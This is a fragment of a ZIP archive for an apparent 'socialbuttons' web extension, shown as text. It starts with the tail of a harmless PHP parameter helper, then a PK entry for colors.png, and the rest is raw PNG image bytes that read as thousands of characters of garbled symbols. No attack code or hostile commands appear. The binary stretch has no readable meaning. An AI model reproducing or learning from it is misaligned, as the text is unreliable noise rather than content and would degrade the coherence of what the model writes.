    ' ; }}return implode('', $html) ; } private function def($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default ; } }PK>\<..socialbuttons/fields/colors.pngnuW+APNG  IHDRfz.ZIDATxkmۖ>w.!#Dp~@y`BADD3eY1v "#'1#̯ؖASU@LQ"*<{cGm1>u>Zkιm[oVasw tu~}k:Ϝ_vN /, ?Yq2S};a38N]mWF_gyt{}in8ӱ'پu~_Gۿ>Zko?U=|?>؏ȏHK|W|^//CC?}g78m_%*; #eJӾt Ё7vc̝?__dwU_㫰t}exۛ4qJp'ЏG tk;m}Gu7|@5}o~Bv'gc.߭_(6|}E_GËo{;TGJoNvg}ݫ6=߷|B>E_ß}6Mõgg~oɀ/`=y{?ws +Z8/{SKW۲%]'6؟lq\W~zuZݱp<>8n |O_h}KO'--fz fV y\ߺVkQ@< %nw.{ڴ3/mI}Yo__8Ҧeqx^z/_ċ/ yyL;Yzm#k+I-NW/mziϨ1Nߵ6{ܰIvm]b-x m3kcIߺuZ'sDe,=s~a[v9n#e|]۾?cCv>zvukmY=nGϵ/߯t-Οˏ&f(\ߍs{;dxv;vډ"k٢?~dg  <;v|_V8~c#o~`_/SƯ0^NlgC? _ڐGtW_K(-{1{7*׾foȐ}3\Bi򰷶3}{Uh޲mw߶+Vy'4*]4룿/j8Pk^ze^*/_/^'|b77 ׿n??3~IPa!]\5zP}ߝG uflv}Vzyv]jS[+*hXu6w~'Kӫ'Ms+su$,۾z;/{рuwϭn򺝻c6B[Nǹus\r4uQ7-\{fXxtly}[[SM7kfG]Mt?1X\8$#;eW{| CjC (I}Uv_v(ۙE T:;yc9+eYi'}7~6_E}A;OF 8AW_)_рۯh|_;)O_̾ zwb[YXOydEz ydOS@P}9e|4w WLq[{sNnfجJ*f !i `jc<?k^8{%_O|w~_>C9 ,003fpIm0!aJv OTM I{Ci@q*!{efF2PRUަ{[hS?+} y.wF, K_ou`-`mٞx+Estg6i5[# w'y1Ƕ<.x}oǛ/ λя8җ8}}`@Cg8ސB;NʐYD5!'v{9'$ӆ* t=dgC'D]:𶇖%Y6{c띹2k'[wK~=_ .(|*?!gV, O!wmO`fgyw܄|}{`kW o@PM9 2a v\.=b:s5?k:KkZk_j:^ qxd/^/^˗/˗/G|o|7>?#Bψ!gR|S'cic :Q o[a'CJPY茇{3b&yg5d9\jnpv]PWm*;:wf1:uλT쪅5M 9P /Y}=] n/Xd~M;zvڝߝ)?J4'ܾuh8SL1yDHӱfw*wKVJaXM@)X{{D? /g Aٔ'2Kز9Ac,g(V c}/?h;nj*aw#[?3Z"˕QЖ1-=h;f~,ȀJ Ĉ' 54/ҬZה||߬/^/^؇~/ΣlqIӬ2F:2/Иajq)3U$k4f c̥Xʓb:Z]"J}WBc2VZ,wHw)2_ s+ d`e5%H<, 9<'5a+yo!X(M8{(2`\E<:SIG*Eõ~ q^9Ia= m6}?#D_x+36M6erWg߉9۷lKds&N`¨u֚KMk?~4 TY\1NX$W MY_.?QQƤ~? #x!>.tP޶+cX[peט= Ș ^aƈ-mT PsyLTal7R ˘I 彂=Vff 8 FI5/^7M Y~O%$vRC-:mH \c2EV24&+[֔rjHf;㉔Uv&\-W g5>D?X=˵.cZ<,s4b⚷#: |'RQ7pc;sV=6$P+87s"Ȧ5BBQqN<3|o}v,vLk@Ym3ja;~+`|A!#9eЪc,-[$}Є9+c [P6>cW)kwBP=_| 1{Qc:AV u]~bBbX =x}K&# vթIG=fΞ 拁챟fkۊ ՋwXގ[aޙ8իWq֦ą3fOz7Mx2_ az<_slj2Zz5&?;b.Y2 p,['85S`;M2o:tFP8cfj~FF`TG4 .F%K;KG"e==hl wf u$z RՠcܟŤv5flFVu;CTɒ34$5;W_gm9aЮNjCe,PU@Df9` %#CƲnטuf14˨9[5}|B=(.V=s3̾zaegqJQǃM{={,VIǹ1k3f*eL@U`qHg:TJqVJAz8%v!lY)sQ`&m.G!* H^YevuP>~'ա˗/ 9J=!f`u"6b71lYd:uWoZ~  dx7,zLU3Ԉ vR\ Y ݝ`|E c@R%V1>ܹ3FBJnD]%W4츃n"a/'a0Tb6{Y~8S6k1E)kSd50pXF[vU5͚7szbdŌѲ::ڿr䝗5 _src-$\(<f75W0pֶ#AZw gZg8>1t]fz?xħt w1/'E V ^W֘2} -22Vh+>mIP 3hO(_EUѸp[3d{0Ъ'w7]n4'֋Wo׈&MeС¾p^3z$u, | b纲Κ5)c^|i )#W^W^Zl'bIpL2IHqacPJKP1ڼzwe'ntHL1v5lY[Ɵёc4؛Lj-~_k@1Xt\}U#bG-ty]րxnrTY&om_-эҕ# fJC'f̖c<a+8kt$^@Sz5gYeY,ߕ"]t:7J`M<Ÿ5|DyYʄ3&Y#?70VG0RFb;' K-/ ?vLYS̡"e:k&8Ll2FD|i*l@ W/U lHKGvYB[%l32Kg6g#>912ah2CLaq2q,3Fģ)f︮l2 8e ΨYQ8ش IqG%uGbqJw#ΐ}˗x՝۰aX6!2d_#czWΒvrMWyPzE;0CH~XDX4Y,0W6cׄ2'@ņlaCVƬƌ[,3oN͓V;e6\`F7@`72bʔZ[1 c#nLRj$5aN {9yMIr)b&h -:7qI[,%|f\$Džr@8Yu ˲T5sP@88 9lJJLWmJX9p g #Fsc "4l黓0فjbсaeOrNhkS/6YM8"ȁFu&9=:\<1Aɝ|+뢹Gز͘sJvYQw, \up&uem.ڎ{cp;mK3fC]䁄MG7*ģRF0ijZau@v~ ;NцH-|{'moHmAPl0(jLUdlyH9\Y> eH=A 6M31)>6D}H/$,& hod1mmmb[Kܖ#_bG6TZ }-^&>7^fmG5 Fl[qf({g0Vѩ2qfȵQy%}^N4(mL"jWXg(|dZU/),?tD|!fO2@V'ݬ3]aJ 0mذ{d{Lٍ3ajʌ@ZN~xbE}$"X2a l-{AX^OkJ(=1(練Ux&kCN/}G{ϘkؾL6Wbα]djFwK@dϪ˲TWVHa/`1^=hH;Ք)s1@豍U֍@Յ-E~yeƌ\j8Ɩ՗/_qJp][=4]pWhreYGS7&\ťZ&gfc&ȡ6)wm kl|BK#Ej^,~F&יUq-{g;. LRR?7& 9ЭdT,e-(T.;>bmm8(̈́cmr_SӜ;Ju|鎄#<̣}dqw`vA3GAY /?ʔ;,9=Os=w' 6<2ecĘYIjC wAF-B&2q^,C"eԲjhu(32f$l+p8K,^ټ~ 1d`vauf!,K b/vb ^zUI8Z3W^/gܽ|TĪoT^҂1(lԜ ׏ Όdc\f$w+2R=Җ%5# B"h: v2KwK9l*)eSeI ͑O{<<xta|.A3 n5ICh&+ZMF XJx9OQUQmg 䗣k8.jvK8wGrt$av  'QߋqJk ;k @ZɭOH&?aTw]hsù>Lx;fUg9fv!y5e,_DdF mq3 Q[Jif0{.}d7–u.f攓<=k|0hQ!vCa+3h֦epg*@ev e -.Ebǜd3"}ڀTenqԗ/_.ilӆ]/jrf8ŋիW}YkY=c%\$Ŗ&Ýё`՞1r`37`ͮ LHĶFԺZLkc$ 9,=4bDsjȬb{cf,dѹnG֪oUTP+`VV4 8LBH٘2CB]#6f/&CBbأWY^{ޙg?=z֌u+(~;WGyX,K2ܑ5!ug6m9^roJOoPWvW.W9fH{Q,[tߎt|*J5wFBweyvh!7t k)3#Mt fV*u3z-s)Ȱ8aI%5h``S॒Fˤ^Mfg@1XIB~D2s+' cڌG6k dg\ M[.*!{0s4 7WN6rEe^L?r)#? Q˛q&C։1À'BN}'ʥS~{|U{h˽j!vӱzH+ō7./6q&k (e/Ihh4#NYپ!VVOଃ1;w% ʿm4ffGno @A ,2XSc.;`ivePq)[ft}Á_o0+_DRE 2z]R+)0{A#h:@)pCt^ vy3n0fZ S&lfr u&F5i\o+՝jGd Ɛf9fk^K r 3@&I@?=3dcƤS!-@~(.Lʤj3& ׍GM-̎i4z'5ph79!x[|H=aJ'3sgkbb2:GQ8,n<+HȀVZoǐn=pۃpvnl9y&a¼xVLkX}yw}Ǻ ycAZgѮo.^ LjeGmx.[ U-/T(rߠ[n;`1bl}?-K̾9f_˯rw4l4=PkV25(%Q8H/2O.̂Ȕ:NQ@8~o" o!cF5ft?fku73&|RƯ}ka}o!seѤgYY&cmty,cMθivޥ]NhMv5᠅% #fR.,2*@#١˜Ym単eH5)cz2ģ[9]Z}EmrFk$7bիWmZNgU@ȦM+@.6,iNn\q^rcʊI:To0dYİ6O?=+ 3} 1Պ)mZvY,y+qE~ur'4trweR׃S2PD*]-]Cəjܵ-iX.;:$ -}tUdvk8]YJ#7Xv:tPm7uuv#bϟnۆ]P;(Y\":cWF NMp=q+ 72pO~gn8 Of e@4o%cKWAWm֚+SBrE;7re"},`5n%Sh6_A~] ?0f__;K?-){-0fI˸ щЙ@DX.Q֘.{Tkv:96f=]_~13y"o!mV$b#I y4^WM?4˯݉[&Y)ƒ.u٫W@isD"߰/bƌhRљʒ٪IU-יњ\c+m)sã\,k82)ڙhZF9‚a1"s{|LO *o9#`ZZޙ% ylh2߹UƉޑdoVcHz:Xlm{=Xeybk`H]g8L9&_eTb }tg ’Yj+9Omg_z,p&%qC>X;K$K- Ő3eƕř[~~`vv"eltc ZYey,cfyœY1gF{V鳵_IEy#F-^[9kO1Mq!c2x>{'[\q Y/1m1Sɣ3pHtDud0jih'fđdpNYe$͢3vcD&ic=[[v]f}Ԙj@uD >{CXWgѿg%!w1k2dƾ3H|È{5i_ ZLجS6aZm>c'lae\dlw*CTCU%QD pz5-tXOcբSh߆Gd!g)(H S0YL1a{>] q.T1=ao Mxz@-'NK vB<  `KZ;I#;aCfzLzrEPP-=dE 3~9fD-_Ve-f Ԛcue,/5clfY,FlWcVUI4PlJ#SVFbcjO1ۂ8J#1{E}Yf1V\A_>,0k,W̤A`6 D=3;K|(?pi\[f%cdGj1d~G΋eq,w G 1.:m9ϋbYaպɸet_Rw/4}CUH=Ɍz$ݎ4R C/Y3- -9Sc4nj3gr(N^Ҫ;\E;~!/.VtF\]~rqaҒذxe'v%-=;S C3LxвmV Q`gaU>0#ȒѦu{رA +S2~j}H;ڳE+%fHK`ʆ)*,!|W$TĒP_6 'd 64Ua?Ep|}8mXٳmΧcr>W5f352@}d`A.]feA?;)c8kR#GYuMY% E'&*̣2c"+mN >:Τ5 E3~;L$8̨T!؋GF6>\EjxBEkسœ1ƥ &Rl\;3+Lbhc4:!kY @T0nsf< 0`FzVkַS9Nz'sȺsר.~fFumoz]  |1 a~> XC[cS8CZm} uҝN:9lY^{v"c \d_h }oW^Ymd.BAknD≉܉ 3$n~nW1ژ:0"|P>3嫫GƔݚF6AnBM d +c^[YO 81s1g0C8 1㼶 ;8O=84F3fQl93fցKu`$1릌|7=rdܰLԉvbso _X0fk@a.*=waei%n0VƏZk4'c 3dFQv,ucCub[ĒL>Of hX*CQ6lJW@ljƈfٰh?ff--C1 )0gӕ;Ϩ$"gWc % ͙m2 d] k&j1[Cj-3Hjy FIh{?c,+1f43md1dNl~mAˆ3n[3 rLA\ (\~5vTHcFKHH VtUZ1N,mCe^xr|;dl(Xs'Y;>S0Ti816@LV{f! +-[z\sZ02qѺ=}j r(B%|غnBXyl0eK{xg횹GOi}M0JҌ~yM@٬AS䨾k(&2RA&^Sa˞K#hإ ֘턅~ڔa/ lAL\(w5fv>n-%W7lV]aXt8LՉ-.%B> ,Z1J}L1e;6-[hn0XbU tJwue+ eYdL#uB }A50;*wրYoG"MDc.}dſŖH?vLA?΋> rz;o~<yaԗe0jmO-+,Kg1; ̬ڮ{:@ר)f:Ό}~knӏ,t=2b̆Ý9e ˌW#1lae*,I0,1adʞUc V]ch[ J*:s,C8-]#dQeVVBpomQl|>9 Z=x(OTW$ e"#-aTRFmy 3g;ƚYH2.m<pQ{}{*\&eJ$2F'`f郔 œeY^FKԍg`ZDaqݎ|[2-RY[M!XI3)ZqqxQ $yM2er GG|^4uq}aBaG~ OkڸqTF98xѬy>gN?0kǾ$"F$c,u%*9۟u@$}-Chon_~?|&Kz"e`)#J-xۋ7fwD \;wS`,[Sic7@L0mF$հ/6㖜0_ YfEZNqgufΒ.\WĈb_y mW׃XrU n?s&@ue#:ҙOCnKtX抖+e0[.m~!-̓>*g!LgtT4d kBM#wx')!Sx>5Q}*TG7y)4MCaaLw%=k>ܝlgM?K}Vd6ш0kS؍4mNb a}q+h ׍GL7{:7:92^N 1)PcPF-bY'DƸxm#o R7˜-laC9ȸF|߀Zi' < q[br{ M{{W#eELAw;cW V6;)mUʨm4H2k-DJ|t 3Aw ~Ž'/9P~ }iﵣn3~ S`603?{h;9K.S&i`y"Atiشi DX [c#Y`utE˳cp="Eeu,Ԟuuc1 ԄLbH_b{^*Gܚ3t$-p0ff63- 6J33/hA@9;kk GWeG}-fCf)_ Io#)1+K iǚqlm28ecC[rOAܳAw-o$-9[nxzh3\Gx%~DkإEN;NcqB2,=NP&zq|PSjV m3e1b8+ӣv#5),QY2@ wesl8/2 5tntե@7 "e(aTрi/IcԖMI#+5EKk+w'BD-Da1f:&UVW6㱯 "2ppfhglLہ9גCc`1dk\Uqf2G7j=՘r@LK&Fc41+vhhSRFSLH%_H id6- \Fi@b=Yiij1z,*dv/b’(i&5dYSΨ͵@YrIᜱ}E7&S@y|&?SCX?cLu !´WrS 3 ƈ{&k~ ˣhL@POzm͇T޹61hcV(8,zљ^>ҝJ0T`]!,  >9#k6ek]a]>\qseRkȎHȘ.f1?N*l;453nj|c,2Ɗu^edy5j/ w]4iXPevS"4$"Ƭ*F'נŇAF~,9R<̖)4#Ԇ֯.LFnM63ʌ m wT(3ҚZDӆ|,g:Nk =JOVk\Y`i}ЩR%o#3v+~'ƙ1U-;6WLk}6chmTbHm >zQS21y?G3Ծodx-0ch]Kw 5ciblLd2hhK ̔9I12HtWƂ^Y¢7bs, #*`6Ak ?(`0bqyej0J14, 3`zdSʘئn  93ƐceYf, Qa0uNҹ}:樓oO#(se%r 2)#b65bdl PWm[-Zm&*dUi,P]+Ơ -O*&uqg" rLk|N\FwbT1z5BnY |`=[{{ n_06gêOif wΘq4ٵ Q?㤫-=2f< gX-a&fl ^mzQwٴ3eXk:Ae^2lل"3f]3\IQ ^݁yԖO1 3%e|] kt;ӎ1e};]TMdmUگHjXm?2vGC.?cȆ3԰ulHе;jߟm7p6F'=/)Z׮c.Ό %XNLϲ)[ M kS/tN)aZ>-"W)a}Y@+X]ŗIn9G{<' S ^FI L)ca)Z `57g̩;jv4e>@40o[hgo5fGF.eYhSll,F˲X(jNsL [|V+?'0]%uavKv¢&9fToVKܷr+SM_P' { *8,1˟2F͟Wn]ȒA*a cΎ$|'k_w<}"A#cR3*׮˧ט}`c;"'Z3c7U?bbgX2;Dm6-deg]'\jTؙ0v!p@gv ՘7GymqGwii=K61y ڎzvo֒e,K+Pjk.gRƒ*i]šU}#sf!{fIeY4ٳla3bIn 1fQ:34׾cy?cX CQMcSi} (dicRHԌul_$7T 22#1mX9.!th4 rž];w0evcrE]"17qVV_g2|p3v9cÔB_N2=9Tk4G b q1av@li*6Tp֗ZAYXd.5sg.1j Q&T6zz"}8z"p`Y۝X&˳}h sҶ\"oiO%%L<;"Zrf"b \AuF#|k,Ct? \o S< `tqy6Y31(-F'rטx JA[I(:zTw2n;Qw/*65|ޜÎ:/Ƭv^cAJiYޕq5P-l1&5i-6)n֕ *)}⡣ Pa? wYgx*')#z`>5fGܟQ``lKd*'.]L%r҈*,Y$Y{ga46pį%,Ul %~& oKm 6X*+9f]HDg0#ze~7x6;O2<37SXljp~nfm4=1!@ٓ ZcB6k14 T١<ݛhPj֜q]qI_NOp. IZHuDx٧@ 9e>rĹW-9Ю2xqݳܑуkp^^Γ3bCY]XdLv"BL|ܔ2Ϊ3(g,"PknKTǯÁ %LGȟ[ۍOє:s!2!| GAte4'@T W?f|lLdcϬc*e#l 6w5mM.*C&;,2c#gTowa`π{0+~w5fヤ1D@bX\q؆|.&F!ʌieyg 0g3EnٶLR "5m} i"uT@@q٫W;L.a A;Xa]v|֕pHͲ,*U,ÅvKMFn& k5fbAb 0=xL%ROrWpN{a/gsho$שMDz~YVnӰzCz~ ;>!J3viJ T7>t+, k6XSFLl jh(z|tSGD12g1 ǁVuˀW$As2W)Ζw"?yZ̘R˵|Ze|ax[}ݺ}ٴ:(e:+F $0VЁ9;!ܺ}[1f|][ΕAcWf ʳLGѝ"7]͈J,P4:at 돕bHlWg+BxL J|xE!pCR!\(kKKA%|_"  ΁a6#w+x)CrLΓGa?ҁv: gc-A!9b4AB"3/z2k@3TcrFw hlgj0C&9š!y ayvtz,{'KfJ՚A4BJ08+cS) X(jrX[F`mJjɌ%+FhQٍ@VY暝IK4eWRte4Vw ˯S,´ cĨg&xaaGΞ>\0s<]1 [y 9f'gȔqKWFO0W4MaB05K<r1kмpF%dĬ `j5gÉqc.24L΍$s<ϫz2'¦Q3)՘-V <̦' Ak5:3zX'f]%hWڑ+ Ʊܽ1vThY?xMjvUl~Я{F4p0+}9"`WÞ7{{7m3Fy\4|2'/at7*9x7f :Rz2-f#0MgYhjǖ9בvwM93Y&؉g1Kc&(L^ȍ[-G5e*JbJX%%XcC| ʟZ$]f5)q}2bvl]"ۨ!B AEfl1%+o~sj_"?эjIYXkyJ0b?2+! ّLl4ȟ>6. Id]E/I4.˳ue :faEc]g>W|QDAX ƒ:5հեb!_^\1eƅ1oy8|RY0Yww{q%!bgi"ט9״q]yΖ}3Gw Eӱ–"Xs+NRf'l)DŽT7{pF䘱m~/RSF+2J&VY+XE!uwUUJÅ~9f wLb3'db-a՜[hGG- swafb5g/\#:S w}0oYg@oZ:EӔ yNt V )#6YT["^!Eg$_v<~ `Fc!+15joehμD@!g1#:\Eo8\%2vfT`0~ץ1; ?n׎= e ͈=í՚EqE$ѶRF0P_HڲՕCDt dآPnǵŕ$\KFr;),fXe7O2: >YXu- .RB̬5fIK홋++AY?6إ䈮v5̺QXf碱"[zP#y#;JUdi ^"_ H3":ž 4o J=V؅dWIkw=E. Z=] ¼(w^YMpynSE2YsqK}eiU"&b0;l5K~̣֞licPrӭ>b^me n t³%m<@d,|X840A!5O:dKtj`!:Cd:ҜU^dS_ȥ1{^2C%` nGFc$X-)*Rj4Ό=!)*]4,#gBU]& n)q*aH#Ƭ\|XAZ6ŠiQye)e[a`}1׋Յ-c~;! _fOɳU]3hk>363e< Vnq( #yn5Lc"H=7c`IX97rpteƙ ]{X9Jb*Cq~Ԛ)e<t E˹jX 3`2KZLN;t( Q¸H} rX)qq~^ G{;jsi\y|=9;~Td'fشXn؉c( *, $Fg.>R XhGkdt-ȇE]ݻ樃ch]?nGpḆ=@e?ɷ"miD_ρǁ" ;%L]t)R(AGKwF3y4@7kjFLl1 EeɒiA(&#rp9c }(PKXLc–!1cN{73²Zf 6lfmg %4+[XI"i\2N70B |EɇXZ“3C7+`)k:. ojHػcyf.mjy?"HڈN8#\.22:R+7Wy"d4H%U$fĊ1sbXBi '+&:*V"'pG&)&˨d˜ E ?!etjimrmc$gz,]c:3ֲ v< l!{_*2&/:U102ug9Ш`2$Q(ruUXO-—e"_)siC)#@iUKF9#{(^1c,yj~}&mU2-531`t ɀvO#_$g@ cH1N$4:n.spi5* aXd֍~FZ5h:2ƕїW[\Ke&Ft1g -lY;:gLԠwq%[ i"Fl=Bm}l kfjqLXhs/N`̎A=V5JSu>C,nE'?.%k;Ng8-2cf?s>%Z 50g)luj~r ]+I+9wxy!} k3kr-XUWxmGE-ڍJtMRfC;okw^6gަcdt_Z?Ff+<(_ձS1㭬=4A]05:aX$*Yb>a['03p[#pX&_T Iмy !9SlcI&sg{&[n,H+%vɣ"Xf:@@ O0gc*s AϙH3 ] Z\ݢ3Lq/8^͆&WdWBn fBg!Xd5z1KRMwXnF2ց郍bxxz>)1yQ㉴?n̒j6{զu2 `@ (]7iZ7f<߄2l,C41Sswk@k0: 1o#S?*e{$T|wj4Q L:$ @mY,"2_50|lj kYiTl.'YnbCUi3Ѿx1CG/}3*jlh4@W]Geߝsl/MDZaxű|qJ Ӓܨ9H!v͙fq!z4Ř^k;6YBGy%1|ٝ)qY9T7ֹFY/ knϬ[.F# IrEAF[ V3EPipnKI pI#6KY XoΩoO҂;cĈCco]쿍[9(F2A˜+#22m| HR&5f:xq4>>2͕j˺6[u2Xy `e2?aͥYfЖ$K+`.}d1_0lHUlK3jd]՘-'HQp![NKY&OeMà\g xz4o ,v5n_RIYcPry6,@LXcYV~VIc, baljZ|ܩW9cp 6cӳr֜}~Q<]|`6RGVtdXKyr-;p'tGib 9뒾nSOvO[zFiFUŦ5=<(4s`XAyI~>M]ٜ11n8Iz Of2~aLcCG-~FR5 k\`X}cQ}a{+vv(0-di%T_Ʋ@Z܈x7#Yevf$KטM6ʴBAtT<'{{HثmY?g!~JGxK;CY3`lػۍ2̌¥= 34a3CҶi bޅBJ-H5 m1bĀ5Vp7)"X;2XLNCW@F 鰌A/CK̜[)ߋb??aUUX/f߳zE`u'I5f>kY9+}gIYW`V7 Y|i[b0m竼,?$.dOF64{)1L;&,mu#4J2K|5Zӆ %"{ @&28Er˘en¦-; 뼘i *Նb93yhaRJcC:̪Rg|xEg2U2*$Ӫ"? |}IZ=$L: р &j~x!֕yNX+[fCcerjJ"eN,ņ{rNW&Mm}6WGݚ Jx6CQ,)5e]C"ZWf\,]RNQ9AhR , K%!PV[󵧟0+L ;v;126s"dlGJEbt]';cvC7+ SJs-I5ݱ}`V/ue[֌wUCxǬnlHccgʖpꙋVʬ5CcJ6]6@Ǝl cv7C0jɜZ]6*a?K9%.-F(_vo3XرB5f+ic˜a XbRGlc"{ V\כ%9g,pV_cB۬bVpv$YbFV6֌J5oɲOnů9^78cj{bƒk.oW$gw<2F@¥>m&+# S4|C$TS\ Xƨ&2e0|~ƣɀo'BtP@d9K,3r6;%A־<bMDp[y)-x+3gjH,`c"OǂCB#%N51{$<yXaaXF |&mjM8'װH.ɋ-{L,šѼHW2-k!9A,LE6,g+}\ٯd\W&/3()vqd~/ĐA(KYMh?,u;lξ=e5eeaΖ,tY.2б.?1ѴgX &#yϘ}f٣ YB2r@3 -RɍlReK͘JLk  *l=mmȼې}rv5֮KK&_xƃ|XZHw5eU5k~4&#UkV(+ƌvJ+bw,` * 4L@ nڳ x t(E%|2ܯnQ <\ w3%wV5b|,V)"X`LzSͰ6ׇ]=bgzpϨka9V"F0da}QJc@<|v8 IJ.>1[(^[tt&Bfb-`$ݫʢq2  Jvnt*d[ޑX5h}{3}[N2(idg%e}ӓSز"T!P'L~5}^`6 9bbl<mav,iVʀb A,RI`Z3l>2˴i r]JRYVPi M\JHfl:zNUDml>_AUٻd-we1;*KfԁWl.2$rC a2e Xn |<=LHrped} y;Zr֙U,fFr6yK3 xTJD"#VmO!Ly#|rN 턉UdVḿwZږ]hR聅ka|;$.Q!dSE Հ:]]ߛmi#{d*2€ɘ}zCfR[`aŲy) ;9vEeJ,!K-mϲ 4 7fp;K32q~ 9Uq]T֫3iu# ix)eE؅W7 >1{=1. *`b>ӱ{p23 z&AizL 46 Z^Sl_JW<zֺ7Tڗ7锠 Oc=o/;<,h?Cn۹6dcˤm4[ٯgQzn_ ?pEOznb8b@y qߚ!gXA[m~n!BXW>Rҍ䌻xfuyXt 3՘k52@:瘽C+a l.?*}Y%Z_ƒ~mQbْc9:*8^ՕFK8x cӎ*=L)ܒ}8'cg$+;iT۫d!]w sCM75 n{\@<⾘"MKvA-EPoƙ}[ٳJ|oQsxSQ߂yߪv3f`Ę0y4eѷ=~Anzqk-[EGYlx`ý&my6% M܈w]-A5 ? \2+ƨҥlbb n EU`$`:!E>i]AZdꃙf 6AT>^>_JS Eoزec̮=l4:evE} &~þɿҾ.z|Ux, n+]2ȖK/gq,|upҙ3~ݬ߀3 BvX7yN9:a邉H͉2fRuK@b:3`~X;71E&I.F*زRspF#n9dP,WfҎU3"_jx/B9N@psfX&ۅ"{ud%X|#{:uU-&?Gn%ձ)zz{Aؤb/VF89Oxt.00 Ȑ̶5+e \x|'.6{'wFNLO e|ʘMSqIx$ r3A`ɘu8q_ bL[ @iH@j qZ3)c4[c9 pFNQdY C[W0*-f;eH5SB%ܳ\ߌKߥϘ3 }e2-W VǤ 1smgb sV2c?Zai8eDäSd[8*rwoJ%f&oYx33?+*f3ZVU嫠.fڇ#)ՕM&x]ՙe@.wՌ|ɯ'[U:]1͆##חa XyފC;28C\֒h2{lhvʥuS-k*̋߷8X j>#u7涆8f4khἌu,z*bеm[9Ud%wZ¦E2`~-Zxu-]F=iV3] Zn%4FF=Jf8aD %*m_K ƙf+Cȝ&nuBd̾7aЫLّnY3]Ƅe3q|yoipu)jͮFeQ-ז1ۙ{vOw#yckilo-^"nzꂈ蚘 ?V< XF[-C[ Q4Ł!Á1An ¤A=H K%dĨvuҶT-! =kyߘhiNYTO{f*ԛkw`3` Wرl." cƬpuwf0jbʭiN;2_Ddz Sv'vIfdNoi?O"(uxM0=c.!&attЃ)[X3ʮmoU]598/&Xl;d0ع&4(NYcWFfCٶsJ2h֣ݩԫqx TWc3V{yGNRk9qbu7[w TdҶ\scle2"{.r(r.,;dؙq5q%]1^?Mo?~=TmgGB~iha<q; %sb0XW TU:Ԙt'9"jnqsƌ KXcl^nwS`nJ: 6K$>&D WF_;Q Y4/܁]OƸOԨ]0g 2nfݍ6,OU>׈Ar0榔J4\s٢R CnW _~[zw#[1@%f"GqXٹ?{1Oǧ",d`㹌:;5v|쀏l0䷡]!cW'TSXj]4-SW$:aAI45^PBv>Dibw&Yf.qXb։ ;4v~-4m,_'9OjāgJ_%]?kvk;G-A,g[?mFbv+,=83g*Cq]4;%ۛ ̛O Y&,曁rKe -xd~Kl׎Ԙv0VyhmL$~#nd$gqAAjMZ=Sr]s"]ZΜYXj͢t[ T KĬ?y_Sַ[sf^Gf˴ǥt^_y—1}; ,;JgQ`U@\b_ls.wﵮY`%[cԚ]}@L>>/fY1[HN>iW%ݸ"-7=W# JUhgX֎אJcv._xcfBQ?b 3k.X$ʃQ"@ΌyfuϢ iL'+#u8{brD \zZ"ʊaar0Xy 9[sеϱST]y%XB+ g͇]RھwRߗr#`j#2˾g%Ԙt;Q+ԜmhU+gf]`B-U:Lz٣ =wKt=*f*o1{j`llbAfS GC.qt1fβ-uƄ1z֬֋{ 7nՋ(.3Skt ;2oJaxa$g0!ǡۗoāE,);P~5CC,DsY*%*TWsLro[63ЙX_d(SR)T0d翪OKp;73ֲ;߯=r)-J^mӶ=7D7d+z/nUOXn0)!}g2XS= qDKaF$FnADnpk;Yp 4ulT!+Ś3#쬛Hk2Cc=bBvy )"t4+OޘtC*KVwt5hjҲ3K3gۀ3;6m3oO)m3'6=*_)Y\kX3x.K~LϘ)٧RFG :VCaɣ>8+2حy B&=}tyozѠ"ȭ@`7_ H-ys7#,@B`-{)d!ceS9d9w DoHòC}oI ];ym.LC%㙜iHj$dXɢ'\m_Fo0TQ"!k^%5vi!eiܐUs*khVd$o1(k&/Fv]>I2]Z-j}˩YE 4װqoj#=ul>SkbҔ?؁` %]ts%Z 6`9mM1ZK(lĥB Y4feV BH˲UֲN2h-NQ rL!Ө8 O({j-#k[t-OÃD?dQ%XB]55gfe3\H2:"=&GL K3{\ٻd-g̟y6+!%0zqF!3)抖cc׺,Dc{2j yQ21u=dZ~XN=WPpf@,+긧"1tp)ڑ˲l.8&Eh8y2;EItdǗbܲ\^WV&ĖpYk>_;^`MgVjv*(Hُ #߱<_A}k>~ N#;uqd ),)dtY?Ag]hh͎akh5:jnm!ꖛɎ ՓZރt4l(6EC>4}y|dIƒ/Q[w؊ (pFe]Y/jj/f;2nteZ3e,,W fَ{rS1{cc6,ʺ5VKĝPkȖ6񙮍 57SIP}ߨ:cf)vdhl$`*7L٬oTjoTzwE2fC*@fcϖ %|1H9"䘑KwcgcM5Dzz,7oiH⬹mOyccI&lL'`xb 3:ԑ%͝O3NK&uV1Y.@'tydnOLԦ4rjc13jwxBY $35c,g {vw ԝ alÞ4*Uθ L< hi=[s0>csPWIQ \`I.)MYgSM (\cw(T 8y{3c)IM*Nkx#@kK>.1<)dqP3b6m3\:Ј&#2#IAffIO-D;>d.;m5g95d#;aLX$J $@阂ɛ78 pvivȯO*-C`5fz2 =n&=?OҚW%ef޵qg`ηr Z#Hmg ZMz^ \}*뱜+6UPò׹^/Fd+o5͋$\7ۆd4a`]ӓ@/A3f-;Ѫ9~~VIc7>%Y3=1Kjcِ>&N)FSyn;o:1iHRߗ2Q_$Vm-qҿҺ^}|}k t;ӛ"PVuJl[>CPdm\4i{Bװ(i$ 6"]eU>-KU[ù \32 kwRٲGtD8.RyISX3,g2Մ $+4[eo61Ɓ_0A+OcP;1^,(,C[A ȡ D&y o;`M.2}fJh RW6qY(n@'ZNN{Y-Iخ1.}l3eXrҰHf8l n.o|_XMWyմgfbݓnR390fBeIR@ggd`uK:`w!Ô#Pkl9ӌ撘-O]fd~AջgL4Oë5h,yfrW7p #4{mPz=ǀ5'Qh'91{>.O{^-ge - .ה)<#WB^X`KYw\kʌ儠{Kע=iT}(&7HqU*R  eWtVerԙԛ-RFa8f]Y3[8]1qӕ4#32kR6쌝LrQN=B,cfs vyc9q Xګ/ZvA %a gFP0A(2•c?%ec*,efb暕)~ՏQX;h2"ue٢NW\Ȍo=738be=C*t yXk j@|M;,.R{~DÒ,(+ ԚE)A}2{FPt^Ww\p1+ңVw63` ]KD*In1fMkvcR/2~YbH V7TSj"n U>1% 0Vo\Х]E3eJ{N@ŚPgtU 2A׬2"yqao CIHtM]_Nr[2@Oaܺ攐qq8( .`D]f?1Tc̆KM(LIInMmVK*[m)-14FYhJϑaqN g,62x@k݌!hvCX=jXz=]G C1z_k%f179X46(Sk<47(QEfk]j˖}eJ-EʸX-yIw^]mmk.wI­v.˜aAN9({zMf]GYZ]w.]1iԲ}u)m1.;8dѳ1Hf"Ǐkoq=kԗew ii]Y%zQy 